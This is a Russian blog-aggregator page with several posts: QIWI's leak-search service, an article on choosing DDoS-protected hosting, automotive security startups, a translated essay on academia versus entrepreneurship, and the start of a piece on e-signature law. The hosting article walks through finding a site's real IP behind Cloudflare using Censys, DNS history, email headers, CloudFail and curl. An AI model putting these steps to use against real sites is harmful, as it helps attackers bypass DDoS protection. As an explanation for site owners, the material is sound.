Несколько раз нам присылали выложенный в публичный доступ код в виде ссылок на репозитории с чувствительной информацией. Причины утечек могли быть такими:

  • разработчик писал тестовый пример кода для себя, используя конфигурации боевого сервиса не тестовую среду;

  • админ выкладывал скрипты автоматизации и миграции базы данных потенциально чувствительной информации;

  • стажер неосознанно размещал код в своем публичном репозитории, считая, что это не несет рисков.

При этом такие утечки могут исходить как от работающих в компании разработчиков, так и от тех, кто уже уволился. Например, бывали случаи, когда уже не работающий в компании сотрудник размещал в открытом репозитории код, который когда-то брал домой, чтобы поработать с ним в свободное время. Казалось бы звучит безобидно, но внутри такого кода вполне могли быть пароли от базы данных, конфигурации сетей или какая-то бизнес-логика, в общем, чувствительная для компании информация, которой не должно быть в публичном доступе.

Как показывает практика, большинство компаний уже неплохо защищены от внешних угроз и наибольший вред может нанести именно внутренняя утечка. При этом такая утечка может случиться как злонамеренно, так и по случайности а это как раз то, о чем мы сказали выше.

И в целом безопасность компаний не абсолютна: хорошо защищая свой периметр и информационные системы с помощью с помощью Firewall, SOC, IDS/IPS и сканеров безопасности, компании все равно подвержены многим источникам утечек от внешней разработки и аудиторов до вендорских решений. Конечно, невозможно отвечать за безопасность других компаний, но мониторить случаи утечки вашей информации с их стороны можно и нужно.

Поэтому мы озаботились вопросом утечек по всем источникам. Автоматизировав их поиск, мы сначала сделали продукт для себя, а теперь готовы предлагать его рынку.

Так появился QIWI Leak-Search сервис, который ищет утечки вашего кода на Github и не только.

Как мы его делали и что он умеет читайте в посте.

Предыстория

Сначала мы пошли в рынок и посмотрели, как там дела с такими продуктами: вдруг можно купить что-то работающее, проблема-то, прямо скажем, не только у нас такая. Рынок уверенного ответа не дал, и мы поняли надо делать самим.

В самом начале наш сервис автоматического поиска утечек представлял собой набор скриптов, и в таком виде он просуществовал около двух месяцев. Только потом уже начал вырисовываться полноценный сервис. Сейчас это понятный веб-интерфейс, где представитель любой компании может быстро задать тот или иной запрос и посмотреть, все ли у компании хорошо в плане утечек.

Тестировали Leak-Search мы прежде всего на себе, но затем решили посмотреть, есть ли проблемы с утечками у компаний, которые явно тратят на информационную безопасность немало средств и времени. Мы взяли компании из рейтинга Fortune и проверили их с помощью нашего сервиса. Тогда мы удостоверились, что вне зависимости от того, сколько ресурсов компания вкладывает в ИБ, подобного рода утечки встречаются и у нее.

Затем мы решили проверить отечественные крупные компании, которые своими силами борются с утечками. У них тоже нашлись подобные ИБ-сложности: доступы к базам данных, почтовым серверам, к управлению гипервизорами и многое другое. В общем, если вы представите себе какую-то известную компанию, знайте: скорее всего, у нее ситуация с утечками примерно такая же есть над чем работать.

Вот несколько примеров, которые мы нашли с помощью Leak-Search. Крупная российская компания из сферы ритейла дает доступ к ERP-системам для управления деталями заказов кто хотел бы бесплатно перенаправлять себе чужие заказы на технику и одежду? Один из международных ИТ-гигантов предоставляет исходники операционной системы для IoT-устройств почему бы не поискать уязвимости, обладая максимальными правами доступа? Неназванное западное управление по исследованию космоса без проблем открывает информацию о потенциально опасных астероидах отличная возможность получить доказательства для создателей пугающего контента. Детали и названия этих компаний по понятным причинам мы не разглашаем.

Что и как ищет QIWI Leak-Search

Код для любой компании это интеллектуальная собственность со всеми вытекающими юридическими последствиями. Но самое главное это детали реализации системы, содержащие бизнес-логику, внутреннюю информацию или ключевые фичи в общем, вещи, которым в публичном доступе не место. Совсем.

В нашем случае, да и в случае других банков и финансовых компаний, основное это код, относящийся к механизму процессинга проведения платежей и переводов, к расчету банковских ставок и агентских комиссий, идентификации разных типов клиентов, протоколов взаимодействия с другими банками и провайдерами, то есть ядро финансовой деятельности.

Появление таких данных в открытом доступе может повлечь не только потерю интеллектуальной собственности, но и денег и стать угрозой репутации. Как минимум, какой-нибудь багхантер напишет очередной пост про слив и утечки, как максимум этот кусок кода может содержать скрытую уязвимость, приводящую к реальной эксплуатации и взлому.

Хотя во многих таких ситуациях даже не нужен взлом. Мы часто сталкивались с тем, что админы и разработчики разных компаний сами могут случайно выложить в общий доступ код, содержащий пароли, токены и ключи доступа к системам компании.

Поэтому в Leak-Search мы ищем все, что может относиться к чувствительным данным. Например:

набор определенных ключевых слов smtp, Dockerfile, proxypass, Authorization;

названия пакетов com.qiwi.processing.common;

адреса серверов int.qiwi.com, 10.4.3.255;

названия переменных, характерных именно для внутренней разработки компании QIWISECRET_KEY, qiwiToken.

В ядро системы зашито множество поисковых паттернов, определяющих, что та или иная информация является конфиденциальной. Именно поиск по ряду таких параметров сразу и позволяет обнаруживать что-то полезное утечки, которые нужно брать в работу и устранять.

Особенности поиска системы

Репозиториев существует великое множество. А еще много как просто похожих репозиториев, так и форков. У нас тоже много вещей отдано в Open Source: мы поддерживаем это движение и рады делиться с ИТ-сообществом ценными наработками. Пользователи из наших исходных кодов уже успели сделать больше сотни разных форков.

Поэтому, если начать искать утечки исходного кода таким образом, можно получить выдачу с огромным количеством нерелевантных результатов в ней будут все клонированные репозитории и форки.

Масла в огонь подольет еще и StackOverflow один разработчик придет на портал с вопросом, разместив часть кода, которую он не понял. Второй ответит в комментариях и даст другой отрывок кода в качестве ответа. Третий через пару месяцев найдет эту ветку обсуждения, потому что тоже не понял код, и заберет пример из комментария к себе на Github. И скорее всего, найдет ветку и возьмет код не он один.

Да и, признайтесь, были же случаи, когда вы писали какой-то код для себя, а потом решили посмотреть, как такое же сделал кто-то на Github и вуаля, у вас в репозитории абсолютно такой же кусок. И это нормально.

Что можно найти таким методом сравнения, если очистить и кластеризовать поиск? Если вы ищете следы возможной уязвимости, вы найдете репозитории, в которых она была переиспользована. То же случится, если вы захотите посмотреть, где именно используют ваши идеи.

Но сравнение результатов это не killer feature продукта. Leak-Search может больше: он позволяет пользователю персонализировать поиск и использовать механизм фильтрации, чтобы исключить ложные срабатывания. Во-первых, можно включить определенные репозитории в такой фильтр и не искать фрагменты утечки по ним. Во-вторых, фокусируясь только на конкретных, интересующих вас объектах, вы будете получать нужные результаты.

Разработка и поддержка

Возможно, вы замечали, что после достаточно активного использования open source, в таких сервисах, как Github, система безопасности сервиса могла вас заблокировать за превышение лимитов запросов. Поэтому нам пришлось постараться, чтобы Leak-Search имитировал человеческий поиск.

При этом мы активно добавляем публичные платформы для хранения исходных кодов в список источников, по которым осуществляется поиск. Начали мы с Github но теперь Leak-Search ищет утечки уже и в Gist. В бета-тесте у нас Pastebin и Gitlab, и еще планируем добавить BitBucket. А под каждый источник мы учитываем его специфику поиска и работы с API.

В рамках алгоритма, конечно, бывают и ложные срабатывания как false positive, так и false negative. Пока мы решаем это добавлением новых правил для фильтров, чтобы те работали все точнее.

Также мы планируем сделать черный список самих запросов. К примеру, вас не интересуют конкретные пользователи, репозитории или их связки с определенным типом файла и вы просто настраиваете это в параметрах поиска, чтобы соответствующих результатов не было в выдаче.

Идеальной нам видится система, когда Leak-Search можно будет встроить на саму площадку с репозиториями. Мы делали подобное у себя. На внутренний репозиторий мы вешали Leak-Search как триггер, он срабатывал при попытках выложить код с важной информацией это тоже одно из направлений развития сервиса.

Этическая сторона вопроса

Как и любой сервис, связанный с поиском утечек, Leak-Search можно использовать не только для защиты, но и для нападения. Скажем больше когда мы пилотировали продукт с некоторыми компаниями, сталкивались с тем, что их сотрудники вместо того, чтобы тщательно исследовать свои ИБ-проблемы, сканировали утечки конкурентов.

Такую возможность мы пресекли на старте, и поэтому сервис работает по правилам жесткой модерации. Чтобы человек получил возможность сканировать репозитории конкретной компании, он должен подтвердить, что является ее действующим сотрудником. Мы регистрируем новых пользователей после личной коммуникации, но все равно продолжаем премодерировать поисковые запросы чтобы исключить риск неправомерного использования платформы.

Вот так из сервиса, который мы делали для себя, чтобы мониторить утечки, мы сделали продукт, работающий сейчас уже не только для нас, но и для крупнейших российских компаний в сфере IT, финансов и маркетинга.

Если вам интересно что-то еще, о чем мы не упомянули в посте, спрашивайте, ответим.

Подробнее..

Хостинг с полноценной защитой от DDoS-атак миф или реальность

24.09.2020 18:11:15 | Автор: admin

THUMB


За первые два квартала 2020 года количество DDoS-атак выросло почти в три раза, при этом 65% из них приходится на примитивные попытки нагрузочного тестирования, которые без труда отключают беззащитные сайты небольших интернет-магазинов, форумов, блогов, СМИ.


Как выбрать защищенный от DDoS-атак хостинг? На что обратить внимание и к чему подготовиться, чтобы не оказаться в неприятном положении?


(Прививка от серого маркетинга внутри)


Доступность и разнообразие инструментов проведения DDoS-атак вынуждает владельцев онлайн-сервисов принимать соответствующие меры для противостояния угрозе. Задуматься о защите от DDoS стоит не после первого отказа, и даже не в комплексе мер по повышению отказоустойчивости инфраструктуры, а еще на этапе выбора площадки для размещения (хостинг провайдера или дата-центра).


DDoS-атаки классифицируют в зависимости от принадлежности протоколов, уязвимости которых эксплуатируются, к уровням модели взаимодействия открытых систем (OSI):


  • канальный (L2),
  • сетевой (L3),
  • транспортный (L4),
  • прикладной (L7).

С точки зрения систем защиты, их можно обобщить до двух групп: атаки уровня инфраструктуры (L2-L4) и уровня приложения (L7). Это связано с последовательностью выполнения алгоритмов анализа трафика и вычислительной сложностью: чем глубже смотрим в IP-пакет, тем больше требуется вычислительных мощностей.


Вообще, задача оптимизации вычислений при обработке трафика в режиме реального времени это тема для отдельного цикла статей. А сейчас давайте просто представим, что есть некоторый облачный провайдер с условно неограниченными вычислительными ресурсами, который может обеспечить защиту сайтов от атак на уровне приложений (в том числе бесплатно).


3 главных вопроса для определения степени защищенности хостинга от DDoS атак


Давайте посмотрим в условия оказания услуги защиты от DDoS-атак и Соглашение об уровне сервиса (Service Level Agreement, SLA) хостинг-провайдера. Находятся ли в них ответы на следующие вопросы:


  • какие технические ограничения заявляет поставщик услуги?
  • что происходит, когда заказчик выходит за рамки ограничений?
  • как хостинг-провайдер выстраивает защиту от DDoS-атак (технологии, решения, поставщики)?

Если вы не нашли эту информацию, то это повод либо задуматься о серьезности поставщика услуг, либо организовать базовую защиту от DDoS (L3-4) своими силами. Например, заказать физическое подключение к сети специализированного провайдера защиты.


Важно! Нет смысла обеспечивать защиту от атак уровня приложений с помощью Reverse Proxy, если ваш хостинг-провайдер не способен обеспечить защиту от атак уровня инфраструктуры: сетевое оборудование будет перегружено и станет недоступным, в том числе и для проксирующих серверов облачного провайдера (рисунок 1).


image


Рисунок 1. Прямая атака на сеть хостинг провайдера


И пусть вам не пытаются рассказывать сказки о том, что реальный IP-адрес сервера скрыт за облаком провайдера защиты, а значит атаковать его напрямую невозможно. В девяти случаях из десяти атакующему не составит труда найти реальный IP-адрес сервера или хотя бы сети хостинг-провайдера, чтобы положить целый ЦОД.


Как действуют хакеры в поисках реального IP-адреса


Под спойлерами несколько методов поиска реального IP-адреса (приводятся в ознакомительных целях).


Метод 1: Поиск в открытых источниках

Начать поиск можно с онлайн-сервиса Intelligence X: он ищет информацию в даркнете, на платформах для обмена документами, обрабатывает данные Whois, утечки общедоступных данных и многие другие источники.


image


Если по каким-то признакам (HTTP-заголовки, данные Whois и др.) удалось определить, что защита сайта организована с помощью Cloudflare, то начать поиск реального IP можно со списка, который содержит порядка 3 миллионов IP-адресов сайтов, расположенных за Cloudflare.


image


С помощью SSL-сертификата и сервиса Censys можно найти много полезного, в том числе и реальный IP-адрес сайта. Чтобы сформировать запрос по вашему ресурсу, перейдите во вкладку Certificates и введите:


_parsed.names: имясайта AND tags.raw: trusted


image


Для поиска IP-адресов серверов, пользующихся SSL-сертификатом, раскрывающийся список придется перебирать вручную с несколькими инструментами (вкладка Explore, далее выбираем IPv4 Hosts).


Метод 2: DNS

Поиск по истории изменения DNS-записей старый, проверенный способ. Предыдущий IP-адрес сайта может дать понять, на каком хостинге (или в каком дата-центре) он располагался. Среди онлайн-сервисов по удобству использования выделяются ViewDNS и SecurityTrails.


При смене настроек сайт не сразу будет использовать IP-адрес облачного провайдера защиты или CDN, а некоторое время будет работать напрямую. В этом случае существует вероятность, что онлайн-сервисы хранения истории смены IP-адресов содержат информацию об исходном адресе сайта.


image


Если ничего, кроме имени старого DNS-сервера нет, то с помощью специальных утилит (dig, host или nslookup) можно запросить IP-адрес по доменному имени сайта, например:


_dig @имя_старого_dns_сервера имясайта


Метод 3: email

Идея метода в том, чтобы с помощью формы обратной связи / регистрации (или любым другим способом, позволяющим инициировать отправку письма) получить письмо на свою электронную почту и проверить заголовки, в частности поле Received.


image


В заголовке письма часто находится реальный IP-адрес MX-записи (сервер обмена электронной почтой), который может стать отправной точкой для поиска других серверов цели.


Инструменты для автоматизации поиска

Софт для поиска IP за щитом Cloudflare чаще всего работает по трем задачам:


  • сканирование неправильной настройки DNS, используя DNSDumpster.com;
  • сканирование по базе данных Crimeflare.com;
  • поиск поддоменов методом перебора по словарю.

Поиск поддоменов зачастую оказывается самым эффективным вариантом из трех владелец сайта мог защитить основной сайт, а поддомены оставить работать напрямую. Для проверки проще всего использовать CloudFail.


Кроме того, существуют утилиты, предназначенные только для поиска поддоменов с помощью перебора по словарю и поиска в открытых источниках, например: Sublist3r или dnsrecon.


Как поиск происходит на практике

Для примера возьмем сайт seo.com, использующий Cloudflare, который найдем с помощью известного сервиса builtwith (позволяет как определять технологии / движки / CMS, на основе которых работает сайт, так и наоборот искать сайты по используемым технологиям).


При переходе по вкладке IPv4 Hosts сервис покажет список хостов с использованием сертификата. Чтобы найти нужный, ищите IP-адрес с открытым портом 443. Если он перенаправляет на нужный сайт, то задача выполнена, в противном случае необходимо добавить в заголовок Host HTTP-запроса доменное имя сайта (например, *curl -H "Host: имя_сайта" *https://IP_адрес).


image


В нашем случае поиск по базе Censys ничего не дал, идем дальше.


Поиск по DNS проведем через сервис https://securitytrails.com/dns-trails.


image


Перебирая адреса упомянутым в списках DNS серверов утилитой CloudFail, находим рабочие ресурсы. Результат будет готов уже через несколько секунд.


image


Используя только открытые данные и простые инструменты, мы определили реальный IP адрес веб-сервера. Остальное для атакующего дело техники.


Вернемся к выбору хостинг-провайдера. Чтобы оценить пользу сервиса для заказчика, рассмотрим возможные способы защиты от DDoS-атак.


Как хостинг-провайдер строит свою защиту


  1. Собственная система защиты с фильтрующим оборудованием (рисунок 2).
    Требует наличия:
    1.1. Оборудования для фильтрации трафика и лицензии на программное обеспечение;
    1.2. Штатных специалистов для его поддержки и эксплуатации;
    1.3. Каналов доступа в интернет, которых будет достаточно для приема атак;
    1.4. Значительной предоплаченной канальной полосы для приема мусорного трафика.
    image
    Рисунок 2. Собственная система защиты хостинг провайдера
    Если рассматривать описанную систему как средство защиты от современных DDoS атак в сотни Gbps, то такая система будет стоить очень больших денег. Обладает ли хостинг-провайдер такой защитой? Готов ли он оплачивать мусорный трафик? Очевидно, что такая экономическая модель для провайдера убыточна, если в тарифах не предусмотрено дополнительных платежей.
  2. Reverse Proxy (только для веб сайтов и некоторых приложений). Несмотря на ряд преимуществ, поставщик не гарантирует защиту от прямых DDoS-атак (см. рисунок 1). Хостинг-провайдеры зачастую предлагают такое решение как панацею, перекладывая ответственность на провайдера защиты.
  3. Услуги специализированного облачного провайдера (использование его сети фильтрации) для защиты от DDoS атак на всех уровнях OSI (рисунок 3).
    image
    Рисунок 3. Комплексная защита от DDoS атак с помощью специализированного провайдера
    Решение предполагает глубокую интеграцию и высокий уровень технической компетентности обеих сторон. Передача услуг по фильтрации трафика на аутсорс позволяет хостинг-провайдеру снизить цену добавочных сервисов для заказчика.

Важно! Чем подробнее будут описаны технические характеристики предоставляемой услуги, тем будет больше шансов потребовать их исполнения или компенсации в случае простоя.


Помимо трех основных методов, существует множество сочетаний и комбинаций. Заказчику при выборе хостинга важно помнить, что от решения будет зависеть не только размер гарантированно блокируемых атак и точность фильтрации, но и скорость реакции, а также информативность (список блокированных атак, общая статистика и др.).


Помните, что лишь единицы хостинг-провайдеров в мире способны обеспечить приемлемый уровень защиты самостоятельно, в остальных случаях выручает кооперация и техническая грамотность. Так понимание базовых принципов организации защиты от DDoS-атак позволит владельцу сайта не попасть на маркетинговые уловки и не купить кота в мешке.

Подробнее..

Перевод 6 перспективных стартапов про кибербезопасность для automotive

24.09.2020 18:11:15 | Автор: admin
image

Brighter AI


Немецкий стартап Brighter AI разрабатывает инструменты для анонимизации номеров автомобилей и лиц водителей. В решениях этой компании используются технологии изменения номерных знаков и лиц, размытия изображений и добавления искусственных шумов. Продукты Brighter AI защищают информацию об автомобиле и личные данные его владельца, при этом с помощью законных способов этими данными могут воспользоваться аналитики данных и поставщики услуг.

SAFERIDE Technologies Многоуровневая кибербезопасность


Saferide Technologies это израильский стартап, предоставляющий производителям ECU многоуровневый программный пакет для реализации систем кибербезопасности под названием vSentry Core. Данные, собираемые информационно-развлекательной системой, блоком телематики и прочими узлами анализируются в реальном времени, что позволяет выявлять и устранять все потенциальные угрозы кибербезопасности, а также вести их учет. Все это позволяет защищать беспилотные транспортные средства от хакеров и различных вредоносных атак.

Angoka Децентрализованные криптографические протоколы


Angoka стартап из Великобритании, разрабатывающий системы аппаратной аутентификации для беспилотных транспортных средств. Решения этой компании основаны на неклонируемых идентификаторах, генерируемых на основе физических свойств компонентов транспортных средств, подключенных к сети. Такая архитектура обеспечивает защиту генерируемых данных и позволяет формировать хранилища данных, защищенные от взлома.

Autonomy Chain Облачный блокчейн


Autonomy Chain сингапурский стартап, занимающийся созданием облачной сети на основе блокчейна для беспилотных транспортных средств. Решения этой компании используют блокчейн для децентрализации управляющей сети и распределения ресурсов. Таким образом создается защищенная среда, в которой беспилотные транспортные средства могут взаимодействовать друг с другом и различными объектами окружения. Облако на основе блокчейна обеспечивает запись и анонимизацию данных таким образом, что эти данные могут быть использованы, при это оставаясь обезличенными. Разработчики сети стремятся интегрировать в свою систему транспортные средства разных производителей и моделей.

Resado Цифровые отпечатки датчиков беспилотных транспортных средств


Немецкая компания Resado предлагает решения по обеспечению безопасности подключенных устройств в беспилотных транспортных средствах. Безопасность аутентификации и взаимодействия различных систем обеспечивается за счет цифровых отпечатков всех подключенных устройств. Решения компании Resado обеспечивают защиту подключенных устройств и защищают ваше транспортное средство от кибератак и хакерского взлома.

Enigmatos Цифровые профили беспилотных транспортных средств


Enigmatos израильский стартап, разрабатывающий ПО, обеспечивающее кибербезопасность для для беспилотного транспорта. Решения Enigmatos включают в себя механизм принятия решений, основанный на проприетарных моделях машинного обучения и технологиях маппинга, формирующих цифровые профили беспилотных транспортных средств. Детерминированная система вывода на правилах в сочетании с цифровыми профилями позволяет обнаруживать, анализировать и устранять киберугрозы. Таким образом, продукты этой компании позволяют беспилотным транспортным средствам безопасно функционировать и взаимодействовать с сетевой инфраструктурой.

Подписывайтесь на каналы:
@TeslaHackers сообщество российских Tesla-хакеров, прокат и обучение дрифту на Tesla
@AutomotiveRu новости автоиндустрии, железо и психология вождения




image

О компании ИТЭЛМА
Мы большая компания-разработчик automotive компонентов. В компании трудится около 2500 сотрудников, в том числе 650 инженеров.

Мы, пожалуй, самый сильный в России центр компетенций по разработке автомобильной электроники. Сейчас активно растем и открыли много вакансий (порядка 30, в том числе в регионах), таких как инженер-программист, инженер-конструктор, ведущий инженер-разработчик (DSP-программист) и др.

У нас много интересных задач от автопроизводителей и концернов, двигающих индустрию. Если хотите расти, как специалист, и учиться у лучших, будем рады видеть вас в нашей команде. Также мы готовы делиться экспертизой, самым важным что происходит в automotive. Задавайте нам любые вопросы, ответим, пообсуждаем.

Читать еще полезные статьи:

Подробнее..

Перевод Об использовании жизни

24.09.2020 22:04:44 | Автор: admin

От создателя криптосервиса Tarsnap для резервного копирования


В недавней дискуссии на Hacker News комментатор задал вопрос:

Итак, что мы думаем о Tarsnap? Автор явно гений, который тратит время на резервные копии вместо того, чтобы решать задачи тысячелетия. Я говорю это с величайшим уважением. Может, соблазн предпринимательства ловушка?

Сначала я хотел ответить в самом треде, но подумал, что тема заслуживает глубокого ответа, который прочитает больше людей, чем в середине обсуждения HN на сто с лишним комментариев.

Во-первых, разберёмся с философской стороной вопроса: да, это моя жизнь, и да, я могу её использовать или тратить как мне нравится. Но при этом нет ничего плохого в вопросе, как лучше всего потратить время. Это вдвойне верно, если речь идёт не только о моём личном выборе, но и о более широком вопросе: действительно ли наше общество структурировано таким образом, что побуждает людей приносить меньше пользы, чем они могли бы?

Хотя мне слегка не нравится предпосылка этого вопроса в частности, утверждение о том, что я тратил [своё] время на резервные копии.

С одной стороны, это правда: Tarsnap является моей работой с 2006 года. Я иногда даю консультации в последнее время не так часто, но с финансовой точки зрения именно Tarsnap оплачивал все счета (включая покупку дома, в который я перееду на следующей неделе). С другой стороны, моя работа над Tarsnap серьёзно распространилась на смежные области.

В 2009 году многие пользователи Tarsnap попросили функцию защиты ключей парольными фразами, но я обнаружил совершенно бедственное состояние современных технологий для формирования ключей на основе пароля. Тогда я придумал инструмент scrypt и в процессе открыл совершенно новую область криптографии. Конечно, я делал это ради улучшения безопасности Tarsnap; но будет не совсем честно говорить, что я тратил своё время на работу с резервными копиями.

В 2011 году, желая безопасно соединить демоны на разных хостах и будучи не удовлетворён существующими вариантами на основе TLS, я написал spiped. Хотя в целом он не получил широкого распространения, но я всё равно считаю его значительным вкладом в компьютерную безопасность как и scrypt, я создал его для удовлетворения потребностей Tarsnap, но будет натяжкой помещать такой универсальный инструмент с открытым исходным кодом в узкое определение работы с резервными копиями.

Примерно в то же время я начал работать над kivaloo, высокопроизводительным хранилищем данных ключ-значение. Возможно, это наименее используемая из всех моих программ, я не знаю, кто ещё использует её в настоящее время, кроме меня (хотя для опенсорсной программы такая возможность не исключена), но считаю, что это один из лучших образцов моего кода, и в будущем он может найти большее применение, чем сам Tarsnap.

Начиная с 2006 года, а особенно после того, как Amazon запустила семейство HVM-инстансов EC2 с поддержкой M3 в 2012 году, я создавал и поддерживал платформу FreeBSD/EC2. Хотя у меня нет точной статистики по её использованию, прошлогодний опрос показал, что 44% людей, работающих с FreeBSD в облаке, используют Amazon EC2; поэтому несмотря на то, что в настоящее время всего 22 человека оказывают спонсорскую поддержку моим усилиям ясно, что моя работа здесь была продуктивной. Опять же, я хотел в первую очередь запустить FreeBSD в EC2 для Tarsnap, но вряд ли эту работу по итогу можно полностью отнести к категории работа с резервными копиями.

Конечно, вопрос не в том, сделал ли я что-нибудь полезное, а в том, провёл ли я эти годы с максимальной пользой. Судя по ссылке на задачи тысячелетия, я так полагаю, что человек имел в виду альтернативу в виде исследовательской карьеры. Действительно, если бы жизнь сложилась иначе, то между моими студенческими исследованиями по теории чисел под руководством покойного Питера Борвейна и докторскими исследованиями в Оксфорде я мог бы серьёзно подумать о гипотезе Бёрча Свиннертон-Дайера (BSD, одна из задач тысячелетия прим. пер), и эта BSD сильно отличается от той, с которой я связан в настоящее время!

Так почему я не выбрал академическую карьеру? На это есть много причин, и запуск Tarsnap, безусловно, одна из них, но большинство причин сводятся к следующему: Университетская наука паршивое место для проведения инновационных исследований. В 2005 году я подготовил первую статью об использовании общих кэшей в многопоточных процессорах в качестве стороннего канала для криптоатак, и в 2006 году надеялся продолжить эту работу. После присвоения докторской степени в Оксфордском университете и возвращения домой в Канаду я получил право на постдокторскую стипендию от Национального совета Канады по научным и инженерным исследованиям, поэтому подал заявление и не получил одобрения. Мой руководитель предупредил о риске исследования, которое слишком инновационное для молодого учёного: комитеты не знают, что с вами делать, они не видят у вас никакой репутации, на которую можно опереться. Действительно, я столкнулся с этой проблемой: рецензенты в журнале по криптологии не понимали, почему им прислали статью о дизайне процессоров, в то время как рецензенты в журнале о компьютерном железе не понимали, зачем им прислали статью о криптографии. Как из собственного опыта, так и из полученных советов мне стало ясно, что если я хочу преуспеть в академических кругах, нужно то каждый год публиковать дополнительные статьи по крайней мере, до тех пор, пока я не получу должность в университете.

Во многих отношениях создание собственной компании дало мне ту свободу, к которой стремятся учёные. Конечно, у меня есть клиенты, которым нужно помогать, серверы, которыми нужно управлять (не то чтобы они нуждались в особом управлении), и бизнес-бухгалтерия, но у профессоров тоже есть классы, где нужно преподавать, студенты, которых нужно контролировать, и комитеты, которые нужно посещать. Когда речь об исследованиях, то я могу следовать своим интересам, не обращать внимания на прихоти агентств по распределению грантов, комитетов по найму и продвижению: я могу делать проекты вроде scrypt, который сейчас широко известен, но томился в неизвестности в течение нескольких лет после того, как я его опубликовал. И точно так же я могу делать работу вроде kivaloo, которую по сути игнорируют почти десять лет, без каких-либо признаков изменения ситуации в будущем.

Возможен ли мир, в котором я сейчас был бы учёным и работал над решением гипотезы Бёрча Свиннертон-Дайера? Конечно. Вероятно в этом мире самые талантливые студенты по окончании обучения получают своего рода мини-гранты гения. Если бы я получил пятилетний грант на $62 500 в год с единственным условием заниматься исследованиями, то почти наверняка продолжил бы работать в академических кругах и несмотря на более интересные, но более долгосрочные вопросы опубликовал бы достаточно публикаций, чтобы получить постоянную научную должность. Но агентства по распределению грантов работают не так; они выдают гранты на один-два года с расчётом на то, что успешные исследования позже подадут заявку на дополнительное финансирование.

Короче говоря, академические институты системно продвигают именно тот вид краткосрочной оптимизации, в котором, как ни странно, часто обвиняют частный сектор. Так что нет, предпринимательство это не ловушка. Сейчас это единственный способ избежать ловушки.
Подробнее..

Recovery mode Реалии применимости СЭД с ЭП законодательство и коммерция

24.09.2020 22:04:44 | Автор: admin

Аннотация


В статье представляется исследование спецификации действующей нормативно-правовой базы РФ для СЭД (системы электронного документооборота) в автоматизированном исполнении, действующей на рынке РФ в плане применимости к ЭП, на базе ФЗ РФ 63. Исследование рассматривается как в коммерческом секторе, так и в бюджетных образованиях. Представляется применение автоматизации СЭД в практическом формате со сводными спецификациями в целом и частном аспекте ПИБО (политике информационной безопасности организации), включая изучение и разбор действующего законодательства по ОИБ (обеспечению информационной безопасности) с применением ЭП для исполнения: целостности, доступности, конфиденциальности, в частности проводится анализ коммерческого сектора по рынку продуктов СЭД в защищенном исполнении, согласно ГОСТ Р 56939, в том числе в условиях импортозамещения. Рассматривается практический этап применения ЭП в судебно-исполнительной практике РФ в начальном формировании СЭД. Данные аспекты рассматриваются с упором на ключевые инциденты по судебно-исполнительной части в формате первичного применения ЭП, при этом не рассматривается eIDAS и соответствующим им форматам по работе с ЭП. Рассматривается формат приведения принципов и методов межведомственного электронного потокового документооборота. Также приводится политика движения рынка по СЭД в коммерческом секторе на сегодняшний день.


Введение


На базе прослеживаемой тенденции последних нескольких лет, согласно базы ежегодных отчетов от TadViser, в области автоматизации СЭД по рынку РФ, сформировался обобщенный рост интереса государства, в том числе коммерческого сектора к автоматизации потокового документооборота внутри и вне организаций для оптимизации основных и второстепенных БП (бизнес-процессов). Данная автоматизация осуществляется посредством СЭД, в том числе на уровнях межведомственных структур, как в коммерции, так и в бюджетных организациях. Стоит отметить, что под данную категорию попадет КИИ, вокруг которой до сих пор ходят споры в плане ОИБ, согласно ПП РФ 127 (для детализации понимания следует обратиться к приказам ФСТЭК России 227, 235, 239 и ФЗ РФ 187) который в данной статье не будет рассматриваться, так как эту серию планирую представить для изучения и разбора в следующих статьях с приведенной спецификацией по ним.


Действующая законодательная часть РФ по ЭП


Следует отметить, что для интеграции и соответствующей автоматизации СЭД внутри и вне организации следует выполнять определенный список-перечень требований, для корректного формирования работы и соблюдения действующего ГК, УК РФ, в частности из-за формирования законодательной базы КИИ.


Рассмотрим нормативно-правовую базу по автоматизации СЭД, относительно ИС, которая закрепляется в следующей законодательной документации, такой как:


  1. Постановление Правительства РФ от 8 сентября 2010 года под 697 "О единой системе межведомственного электронного взаимодействия" с правками на 4 сентября 2020 года;
  2. Федеральный закон Об электронной подписи 63 ФЗ от 06 апреля 2011 года, а именно: под Ст.2.п.1 Электронная подпись информация в электронной форме, которая присоединена к другой информации в электронной форме (подписываемой информации) или иным образом связана с такой информацией и которая используется для определения лица, подписывающего информацию, также Ст.4.п.3 Недопустимость признания электронной подписи и (или) подписанного ею электронного документа не имеющими юридической силы только на основании того, что такая электронная подпись создана не собственноручно, а с использованием средств электронной подписи для автоматического создания и (или) автоматической проверки электронных подписей в информационной системе;
  3. Федеральный закон Об информации, информационных технологиях и защите информации 149 ФЗ от 27 июля 2006 года, а именно: под п. 4, 11 В целях заключения гражданско-правовых договоров или оформления иных правоотношений, в которых участвуют лица, обменивающиеся электронными сообщениями, обмен электронными сообщениями, каждое из которых подписано электронной подписью или иным аналогом собственноручной подписи отправителя такого сообщения, в порядке, установленном федеральными законами, иными нормативными правовыми актами или соглашением сторон, рассматривается как обмен документами;
  4. Гражданский кодекс РФ (часть первая), а именно: под ст. 160 п. 2 Использование при совершении сделок электронно-цифровой подписи либо иного аналога собственноручной подписи допускается в случаях и в порядке, предусмотренных законом, также ст. 434 п. 2 Договор в письменной форме может быть заключен путем составления одного документа, подписанного сторонами, а также путем обмена документами посредством почтовой, телеграфной, телетайпной, телефонной, электронной или иной связи, позволяющей достоверно установить, что документ исходит от стороны по договору;
  5. Федеральный закон О бухгалтерском учете 402 ФЗ от 6 декабря 2011 года;
  6. Налоговый кодекс РФ (часть вторая) в редакции Федерального закона 229 ФЗ от 27 июля 2010, а именно: под ст. 169 п. 1 Счет-фактура может быть составлен и выставлен на бумажном носителе и (или) в электронном виде, также ст. 169 п. 6 Счет-фактура, составленный в электронном виде, подписывается электронной цифровой подписью руководителя организации либо иных лиц, уполномоченных на это приказом;
  7. Арбитражный процессуальный кодекс РФ, а именно: под ст. 75 п. 3 Документы, полученные посредством факсимильной, электронной или иной связи, в том числе с использованием информационно-телекоммуникационной сети Интернет, также документы, подписанные электронной подписью или иным аналогом собственноручной подписи, допускаются в качестве письменных доказательств в случаях и в порядке, которые установлены настоящим Кодексом, другими федеральными законами, иными нормативными правовыми актами или договором либо определены в пределах своих полномочий Высшим Арбитражным Судом Российской Федерации;
